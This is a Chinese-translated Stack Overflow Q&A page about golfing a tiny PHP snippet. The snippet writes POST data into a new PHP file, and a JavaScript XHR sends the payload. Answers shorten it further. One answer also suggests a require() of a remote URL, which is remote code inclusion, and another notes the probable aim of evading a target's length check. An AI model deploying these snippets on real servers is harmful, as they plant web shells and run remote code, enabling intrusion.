首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >问答首页 >压缩小块PHP代码

压缩小块PHP代码
EN

Stack Overflow用户
提问于 2018-01-18 12:36:26
回答 2查看 71关注 0票数 1

我试图减少下面的PHP代码,它使用从XHR调用中接收到的数据创建一个PHP文件,并停止后续代码继续运行。

PHP:

代码语言:javascript
代码运行次数:0
运行
复制
if(isset($_POST[0])){file_put_contents('.php',$_POST[0]);die;}

或(@,因为通知)

代码语言:javascript
代码运行次数:0
运行
复制
@$_=$_POST[0];if(isset($_)){file_put_contents('.php',$_);die;}

JavaScript:

代码语言:javascript
代码运行次数:0
运行
复制
var xhr = new XMLHttpRequest();
xhr.open('POST', location);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send('0=' + encodeURIComponent(`<?php unlink(__file__);?>`));

我尝试过:将if检查更改为if($_POST[0])三元算子零聚结算子和/或try{}catch(Exception $e){}、删除if括号和/或大括号、搜索创建文件的替代方法、删除分号、尝试使用$_POST[]和/或$_POST['']等。

我已经将exit更改为die,文件名改为emtpy,删除空格和换行,使$_POST键成为一个数字,并使2替代设置一个小变量作为数据。

JavaScript部件不需要减少,如果它减少了PHP代码,它甚至可以更大。

注:

是的,我知道这是怎么回事。

不,我不打算使用其中的任何一个,它只是编码的编码,因为我编码我自己的测试项目,试图了解更多。

另外,如果这件事被当作不是这个网站的问题,那么我写这篇文章的时候,我猜.

EN

回答 2

Stack Overflow用户

回答已采纳

发布于 2018-01-18 17:55:29

使用fputs(fopen('.php','x'),$_POST[0]);而不是file_put_contents('.php',$_POST[0]);可以保存一个字符,但它不会覆盖。

如果文件已经存在,fopen()调用将失败,方法是返回FALSE并生成级别为E_WARNING的错误。

php.net - fopen -模式x的描述

因此,真正减少代码(2个字符)的唯一方法是以以下方式使用逻辑运算符 && (命名和但and):

代码语言:javascript
代码运行次数:0
运行
复制
isset($_POST[0])&&file_put_contents('.php',$_POST[0])&&die;

如果&&的左侧为真,则为右侧。

因此,如果isset($_POST[0])为false,它将转到下一行代码,如果为真,则执行其余的代码。

如果它是带有isset($_POST[0])&&file_put_contents('.php',$_POST[0])||die;||,那么如果file_put_contents('.php',$_POST[0])是真的,它就不会运行file_put_contents('.php',$_POST[0]),因为它只需要这两种中的一种为真。

票数 0
EN

Stack Overflow用户

发布于 2018-01-18 14:21:03

想必您正试图绕过对目标的长度检查。缩小PHP没有任何性能/存储方面的好处。

要么你试图合法地测试防御措施,要么颠覆一个你不应该访问的系统。前者有点傻。后者显然是离题的话题。但是..。

从我的头顶上..。

代码语言:javascript
代码运行次数:0
运行
复制
$x=$POST[0];($x&&file_put_contents('.php',$x));exit;

OTOH如果您试图利用XSLT,那么这只处理一个指令,因此.

代码语言:javascript
代码运行次数:0
运行
复制
$_POST[0]&&file_put_content('.php',$_POST[0])||die()

但如果你的目标配置得那么糟糕.

代码语言:javascript
代码运行次数:0
运行
复制
require('http://abc.de/abcdef')

(在URL来自缩短服务的情况下,当您尝试输入一个更真实的值时,就会变得比较混乱)

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/48321549

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档